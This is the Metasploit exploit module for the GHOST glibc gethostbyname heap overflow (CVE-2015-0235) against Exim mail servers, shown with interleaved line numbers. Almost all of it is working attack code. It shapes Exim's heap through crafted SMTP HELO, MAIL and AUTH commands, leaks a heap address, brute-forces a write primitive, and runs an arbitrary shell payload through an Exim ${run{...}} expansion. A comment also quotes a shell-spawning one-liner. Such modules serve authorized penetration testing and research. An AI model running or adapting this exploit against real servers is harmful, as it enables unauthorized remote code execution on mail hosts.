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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
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      'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
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      'Description' => %q{
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        This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
16
        buffer overflow in the GNU C Library's gethostbyname functions on x86
17
        and x86_64 GNU/Linux systems that run the Exim mail server.
18
      },
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      'Author' => [
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          'Unknown', # Discovered and published by Qualys, Inc.
21
        ],
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      'License' => BSD_LICENSE,
23
      'References' => [
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        ['CVE', '2015-0235'],
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        ['US-CERT-VU', '967332'],
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        ['OSVDB', '117579'],
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        ['BID', '72325'],
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        ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],
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        ['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],
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        ['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)
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      ],
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      'DisclosureDate' => '2015-01-27',
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      'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
34
      'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
35
      'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X64], but ^
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      'Payload' => {
37
        'Space' => 255, # the shorter the payload, the higher the probability of code execution
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        'BadChars' => "", # we encode the payload ourselves, because ^
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        'DisableNops' => true,
40
        'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
41
      },
42
      'Notes' => {'AKA' => ['ghost']},
43
      'Targets' => [['Automatic', {}]],
44
      'DefaultTarget' => 0
45
    ))
46

47
    register_options([
48
      Opt::RPORT(25),
49
      OptAddress.new('SENDER_HOST_ADDRESS', [true,
50
        'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
51
    ])
52

53
    register_advanced_options([
54
      OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])
55
    ])
56
  end
57

58
  def check
59
    # for now, no information about the vulnerable state of the target
60
    check_code = Exploit::CheckCode::Unknown
61

62
    begin
63
      # not exploiting, just checking
64
      smtp_connect(false)
65

66
      # malloc()ate gethostbyname's buffer, and
67
      # make sure its next_chunk isn't the top chunk
68

69
      9.times do
70
        smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
71
        smtp_recv(HELO_CODES)
72
      end
73

74
      # overflow (4 bytes) gethostbyname's buffer, and
75
      # overwrite its next_chunk's size field with 0x00303030
76

77
      smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
78
      # from now on, an exception means vulnerable
79
      check_code = Exploit::CheckCode::Vulnerable
80
      # raise an exception if no valid SMTP reply
81
      reply = smtp_recv(ANY_CODE)
82
      # can't determine vulnerable state if smtp_verify_helo() isn't called
83
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
84

85
      # realloc()ate gethostbyname's buffer, and
86
      # crash (old glibc) or abort (new glibc)
87
      # on the overwritten size field
88

89
      smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
90
      # raise an exception if no valid SMTP reply
91
      reply = smtp_recv(ANY_CODE)
92
      # can't determine vulnerable state if smtp_verify_helo() isn't called
93
      return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
94
      # a vulnerable target should've crashed by now
95
      check_code = Exploit::CheckCode::Safe
96

97
    rescue
98
      peer = "#{rhost}:#{rport}"
99
      vprint_status("Caught #{$!.class}: #{$!.message}")
100

101
    ensure
102
      smtp_disconnect
103
    end
104

105
    return check_code
106
  end
107

108
  def exploit
109
    unless datastore['FORCE_EXPLOIT']
110
      print_status("Checking if target is vulnerable...")
111
      fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable
112
      print_good("Target is vulnerable.")
113
    end
114
    information_leak
115
    code_execution
116
  end
117

118
  private
119

120
  HELO_CODES = '250|451|550'
121
  ANY_CODE = '[0-9]{3}'
122

123
  MIN_HEAP_SHIFT = 80
124
  MIN_HEAP_SIZE = 128 * 1024
125
  MAX_HEAP_SIZE = 1024 * 1024
126

127
  # Exim
128
  ALIGNMENT = 8
129
  STORE_BLOCK_SIZE = 8192
130
  STOREPOOL_MIN_SIZE = 256
131

132
  LOG_BUFFER_SIZE = 8192
133
  BIG_BUFFER_SIZE = 16384
134

135
  SMTP_CMD_BUFFER_SIZE = 16384
136
  IN_BUFFER_SIZE = 8192
137

138
  # GNU C Library
139
  PREV_INUSE = 0x1
140
  NS_MAXDNAME = 1025
141

142
  # Linux
143
  MMAP_MIN_ADDR = 65536
144

145
  def fail_with(fail_subject, message)
146
    message = "#{message}. For more info: http://r-7.co/1CAnMc0"
147
    super(fail_subject, message)
148
  end
149

150
  def information_leak
151
    print_status("Trying information leak...")
152
    leaked_arch = nil
153
    leaked_addr = []
154

155
    # try different heap_shift values, in case Exim's heap address contains
156
    # bad chars (NUL, CR, LF) and was mangled during the information leak;
157
    # we'll keep the longest one (the least likely to have been truncated)
158

159
    16.times do
160
      done = catch(:another_heap_shift) do
161
        heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
162
        vprint_status("#{{ heap_shift: heap_shift }}")
163

164
        # write the malloc_chunk header at increasing offsets (8-byte step),
165
        # until we overwrite the "503 sender not yet given" error message
166

167
        128.step(256, 8) do |write_offset|
168
          error = try_information_leak(heap_shift, write_offset)
169
          vprint_status("#{{ write_offset: write_offset, error: error }}")
170
          throw(:another_heap_shift) if not error
171
          next if error == "503 sender not yet given"
172

173
          # try a few more offsets (allows us to double-check things,
174
          # and distinguish between 32-bit and 64-bit machines)
175

176
          error = [error]
177
          1.upto(5) do |i|
178
            error[i] = try_information_leak(heap_shift, write_offset + i*8)
179
            throw(:another_heap_shift) if not error[i]
180
          end
181
          vprint_status("#{{ error: error }}")
182

183
          _leaked_arch = leaked_arch
184
          if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
185
             (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
186
             (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
187
             (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
188
            leaked_arch = ARCH_X64
189

190
          elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
191
                (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
192
                (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
193
                (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
194
            leaked_arch = ARCH_X86
195

196
          else
197
            throw(:another_heap_shift)
198
          end
199
          vprint_status("#{{ leaked_arch: leaked_arch }}")
200
          fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
201

202
          # try different large-bins: most of them should be empty,
203
          # so keep the most frequent fd_nextsize address
204
          # (a pointer to the malloc_chunk itself)
205

206
          count = Hash.new(0)
207
          0.upto(9) do |last_digit|
208
            error = try_information_leak(heap_shift, write_offset, last_digit)
209
            next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
210
            next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
211
            count[error] += 1
212
          end
213
          vprint_status("#{{ count: count }}")
214
          throw(:another_heap_shift) if count.empty?
215

216
          # convert count to a nested array of [key, value] arrays and sort it
217
          error_count = count.sort { |a, b| b[1] <=> a[1] }
218
          error_count = error_count.first # most frequent
219
          error = error_count[0]
220
          count = error_count[1]
221
          throw(:another_heap_shift) unless count >= 6 # majority
222
          leaked_addr.push({ error: error, shift: heap_shift })
223

224
          # common-case shortcut
225
          if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
226
             (leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
227
            leaked_addr = [leaked_addr.last] # use this one, and not another
228
            throw(:another_heap_shift, true) # done
229
          end
230
          throw(:another_heap_shift)
231
        end
232
        throw(:another_heap_shift)
233
      end
234
      break if done
235
    end
236

237
    fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
238
    fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
239

240
    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
241
    leaked_addr = leaked_addr.first # longest
242
    error = leaked_addr[:error]
243
    shift = leaked_addr[:shift]
244

245
    leaked_addr = 0
246
    (leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
247
      break if i >= error.length
248
      leaked_addr += error.unpack('C*')[i] * (2**(i*8))
249
    end
250
    # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
251
    leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
252
    fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
253

254
    print_good("Successfully leaked_arch: #{leaked_arch}")
255
    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
256
    @leaked = { arch: leaked_arch, addr: leaked_addr }
257
  end
258

259
  def try_information_leak(heap_shift, write_offset, last_digit = 9)
260
    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261
    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262
    fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263
    fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264

265
    smtp_connect
266

267
    # bulletproof Heap Feng Shui; the hard part is avoiding:
268
    # "Too many syntax or protocol errors" (3)
269
    # "Too many unrecognized commands" (3)
270
    # "Too many nonmail commands" (10)
271

272
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
273
    smtp_recv(250)
274

275
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
276
    smtp_recv(250)
277

278
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
279
    smtp_recv(250)
280

281
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
282
    smtp_recv(250)
283

284
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
285
    smtp_recv(250)
286

287
    # overflow (3 bytes) gethostbyname's buffer, and
288
    # overwrite its next_chunk's size field with 0x003?31
289
                                                    # ^ last_digit
290
    smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
291
    begin                       # ^ 0x30 | PREV_INUSE
292
      smtp_recv(HELO_CODES)
293

294
      smtp_send("RSET")
295
      smtp_recv(250)
296

297
      smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
298
      smtp_recv(503, 'sender not yet given')
299

300
      smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
301
      smtp_recv(500, '\A500 unrecognized command\r\n\z')
302

303
      smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
304
      smtp_recv(500, '\A500 unrecognized command\r\n\z')
305

306
      smtp_send("DATA")
307
      reply = smtp_recv(503)
308

309
      lines = reply[:lines]
310
      fail if lines.size <= 3
311
      fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
312
      fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
313
      fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
314

315
      # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
316
      # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
317
      # but happens with lower probability)
318

319
      error = lines[+1..-3].join("")
320
      error.sub!(/\A503-/mn, "")
321
      error.sub!(/\r\n\z/mn, "")
322
      error.gsub!(/\r\n503-/mn, "\n")
323
      return error
324

325
    rescue
326
      return nil
327
    end
328

329
  ensure
330
    smtp_disconnect
331
  end
332

333
  def code_execution
334
    print_status("Trying code execution...")
335

336
    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
337
    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
338
    #       that rogue child processes cannot use them.
339

340
    fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
341
    fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
342
    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
343
    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
344
    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
345
    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
346
    command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
347
    vprint_status("Command: #{command}")
348

349
    # don't try to execute commands directly, try a very simple ACL first,
350
    # to distinguish between exploitation-problems and shellcode-problems
351

352
    acldrop = "drop message="
353
    message = rand_text_alpha(command.length - acldrop.length)
354
    acldrop += message
355

356
    max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
357
    max_heap_addr = @leaked[:addr]
358
    min_heap_addr = nil
359
    survived = nil
360

361
    # we later fill log_buffer and big_buffer with alpha chars,
362
    # which creates a safe-zone at the beginning of the heap,
363
    # where we can't possibly crash during our brute-force
364

365
    # 4, because 3 copies of sender_helo_name, and step_len;
366
    # start big, but refine little by little in case
367
    # we crash because we overwrite important data
368

369
    helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
370
    loop do
371

372
      sender_helo_name = "A" * helo_len
373
      address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
374

375
      # the 3 copies of sender_helo_name, allocated by
376
      # host_build_sender_fullhost() in POOL_PERM memory
377

378
      helo_ip_size = ALIGNMENT +
379
        sender_helo_name[+1..-2].length
380

381
      sender_fullhost_size = ALIGNMENT +
382
        sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
383

384
      sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
385
        sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
386
        sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
387
      ).length
388

389
      # fit completely into the safe-zone
390
      step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
391
        (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
392
      loop do
393

394
        # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
395
        # with alpha chars, which creates another safe-zone at the end of the heap)
396
        heap_addr = max_heap_addr
397
        loop do
398

399
          # try harder the first time around: we obtain better
400
          # heap boundaries, and we usually hit our ACL faster
401

402
          (min_heap_addr ? 1 : 2).times do
403

404
            # try the same heap_addr several times, but with different random offsets,
405
            # in case we crash because our hijacked storeblock's length field is too small
406
            # (we don't control what's stored at heap_addr)
407

408
            rand_offset = rand(max_rand_offset)
409
            vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
410
            reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
411
            vprint_status("#{{ reply: reply }}") if reply
412

413
            if reply and
414
               reply[:code] == "550" and
415
               # detect the parsed ACL, not the "still in text form" ACL (with "=")
416
               reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
417
              print_good("Brute-force SUCCESS")
418
              print_good("Please wait for reply...")
419
              # execute command this time, not acldrop
420
              reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
421
              vprint_status("#{{ reply: reply }}")
422
              return handler
423
            end
424

425
            if not min_heap_addr
426
              if reply
427
                fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
428
                survived = heap_addr
429
              else
430
                if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
431
                  # survived should point to our safe-zone at the beginning of the heap
432
                  fail_with(Failure::UnexpectedReply, "never survived") if not survived
433
                  print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
434
                  min_heap_addr = survived
435
                end
436
              end
437
            end
438
          end
439

440
          heap_addr -= step_len
441
          break if min_heap_addr and heap_addr < min_heap_addr
442
        end
443

444
        break if step_len < 1024
445
        step_len /= 2
446
      end
447

448
      helo_len /= 2
449
      break if helo_len < 1024
450
      # ^ otherwise the 3 copies of sender_helo_name will
451
      # fit into the current_block of POOL_PERM memory
452
    end
453
    fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
454
  end
455

456
  # our write-what-where primitive
457
  def try_code_execution(len, what, where)
458
    fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
459
    fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
460

461
    x86 = (@leaked[:arch] == ARCH_X86)
462
    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
463
    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
464
    last_digit = 1 + rand(9)
465

466
    smtp_connect
467

468
    # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
469
    smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
470
             "501 : sender address must contain a domain\r\n\0".length)
471
    smtp_recv(501, 'sender address must contain a domain')
472

473
    smtp_send("RSET")
474
    smtp_recv(250)
475

476
    # bulletproof Heap Feng Shui; the hard part is avoiding:
477
    # "Too many syntax or protocol errors" (3)
478
    # "Too many unrecognized commands" (3)
479
    # "Too many nonmail commands" (10)
480

481
    # / 5, because "\x7F" is non-print, and:
482
    # ss = store_get(length + nonprintcount * 4 + 1);
483
    smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
484
    smtp_recv(500, '\A500 unrecognized command\r\n\z')
485

486
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
487
    smtp_recv(250)
488

489
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
490
    smtp_recv(250)
491

492
    smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
493
    smtp_recv(500, '\A500 unrecognized command\r\n\z')
494

495
    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
496
    smtp_recv(250)
497

498
    # overflow (3 bytes) gethostbyname's buffer, and
499
    # overwrite its next_chunk's size field with 0x003?31
500
                                                    # ^ last_digit
501
    smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
502
    smtp_recv(HELO_CODES)       # ^ 0x30 | PREV_INUSE
503

504
    # auth_xtextdecode() is the only way to overwrite the beginning of a
505
    # current_block of memory (the "storeblock" structure) with arbitrary data
506
    # (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
507
    # this shapes the rest of our exploit: we overwrite the beginning of the
508
    # current_block of POOL_PERM memory with the current_block of POOL_MAIN
509
    # memory (allocated by auth_xtextdecode()).
510

511
    auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
512
    (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
513
    auth_prefix += "."
514

515
    # also fill log_buffer with alpha chars
516
    smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
517
    smtp_recv(501, 'invalid data for AUTH')
518

519
    smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
520
    begin
521
      reply = smtp_recv(ANY_CODE)
522
      return reply if reply[:code] !~ /#{HELO_CODES}/
523
      return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
524

525
      smtp_send("MAIL FROM:<>")
526
      reply = smtp_recv(ANY_CODE)
527
      return reply if reply[:code] != "250"
528

529
      smtp_send("RCPT TO:<postmaster>")
530
      reply = smtp_recv
531
      return reply
532

533
    rescue
534
      return nil
535
    end
536

537
  ensure
538
    smtp_disconnect
539
  end
540

541
  DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
542
  DOT = '[.]'
543

544
  def smtp_connect(exploiting = true)
545
    fail_with(Failure::Unknown, "sock isn't nil") if sock
546

547
    connect
548
    fail_with(Failure::Unknown, "sock is nil") if not sock
549
    @smtp_state = :recv
550

551
    # Receiving the banner (but we don't really need to check it)
552
    smtp_recv(220)
553
    return if not exploiting
554

555
    sender_host_address = datastore['SENDER_HOST_ADDRESS']
556
    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
557
      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
558
      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
559
    end
560
    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
561

562
    # turn helo_seen on (enable the MAIL command)
563
    # call smtp_verify_helo() (force fopen() and small malloc()s)
564
    # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
565
    smtp_send("HELO #{sender_host_address_octal}")
566
    reply = smtp_recv(HELO_CODES)
567

568
    if reply[:code] != "250"
569
      fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
570
      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
571
    end
572

573
    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
574
      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
575
      smtp_active_hostname = $1
576
      sender_host_name = $2
577

578
      if sender_host_name =~ /\A(.*) at (\S*)\z/mn
579
        sender_host_name = $2
580
        sender_ident = $1
581
      else
582
        sender_ident = nil
583
      end
584
      fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
585

586
    else
587
      # can't double-check sender_host_address here, so only for advanced users
588
      fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
589
      # worst-case scenario
590
      smtp_active_hostname = "A" * NS_MAXDNAME
591
      sender_host_name = "A" * NS_MAXDNAME
592
      sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
593
    end
594

595
    _sender = @sender
596
    @sender = {
597
      hostaddr: sender_host_address,
598
      hostaddr8: sender_host_address_octal,
599
      hostname: sender_host_name,
600
      ident: sender_ident,
601
      __smtp_active_hostname: smtp_active_hostname
602
    }
603
    fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender
604

605
    # avoid a future pathological case by forcing it now:
606
    # "Do NOT free the first successor, if our current block has less than 256 bytes left."
607
    smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
608
    smtp_recv(501, 'sender address must contain a domain')
609

610
    smtp_send("RSET")
611
    smtp_recv(250, 'Reset OK')
612
  end
613

614
  def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
615
    fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
616
    @smtp_state = :sending
617

618
    if not arg_pattern
619
      fail_with(Failure::BadConfig, "prefix is nil") if not prefix
620
      fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
621
      command = prefix
622

623
    else
624
      fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
625
      length = arg_length - arg_prefix.length - arg_suffix.length
626
      fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
627
      argument = arg_prefix
628
      case arg_pattern
629
      when String
630
        argument += arg_pattern * (length / arg_pattern.length)
631
        argument += arg_pattern[0, length % arg_pattern.length]
632
      when Method
633
        argument += arg_pattern.call(length)
634
      end
635
      argument += arg_suffix
636
      fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
637
      command = prefix + argument + suffix
638
    end
639

640
    fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
641
    fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
642
    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
643

644
    # the following loop works around a bug in the put() method:
645
    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
646
    # (or send_idx and/or send_len could be removed altogether, like here)
647

648
    while command and not command.empty?
649
      num_sent = sock.put(command)
650
      fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
651
      fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
652
      command = command[num_sent..-1]
653
    end
654

655
    @smtp_state = :recv
656
  end
657

658
  def smtp_recv(expected_code = nil, expected_data = nil)
659
    fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv
660
    @smtp_state = :recving
661

662
    failure = catch(:failure) do
663

664
      # parse SMTP replies very carefully (the information
665
      # leak injects arbitrary data into multiline replies)
666

667
      data = ""
668
      while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
669
        begin
670
          more_data = sock.get_once
671
        rescue
672
          throw(:failure, "Caught #{$!.class}: #{$!.message}")
673
        end
674
        throw(:failure, "no more data") if more_data.nil?
675
        throw(:failure, "no more data") if more_data.empty?
676
        data += more_data
677
      end
678

679
      throw(:failure, "malformed reply (count)") if data.count("\0") > 0
680
      lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
681
      throw(:failure, "malformed reply (empty)") if lines.empty?
682

683
      code = nil
684
      lines.size.times do |i|
685
        lines[i].sub!(/\A\r\n/mn, "")
686
        lines[i] += "\r\n"
687

688
        if i == 0
689
          code = lines[i][0,3]
690
          throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
691
          if expected_code and code !~ /\A(#{expected_code})\z/mn
692
            throw(:failure, "unexpected #{code}, expected #{expected_code}")
693
          end
694
        end
695

696
        line_begins_with = lines[i][0,4]
697
        line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
698

699
        if line_begins_with != line_should_begin_with
700
          throw(:failure, "line begins with #{line_begins_with}, " \
701
                          "should begin with #{line_should_begin_with}")
702
        end
703
      end
704

705
      throw(:failure, "malformed reply (join)") if lines.join("") != data
706
      if expected_data and data !~ /#{expected_data}/mn
707
        throw(:failure, "unexpected data")
708
      end
709

710
      reply = { code: code, lines: lines }
711
      @smtp_state = :send
712
      return reply
713
    end
714

715
    fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code
716
    return nil
717
  end
718

719
  def smtp_disconnect
720
    disconnect if sock
721
    fail_with(Failure::Unknown, "sock isn't nil") if sock
722
    @smtp_state = :disconnected
723
  end
724
end
725

726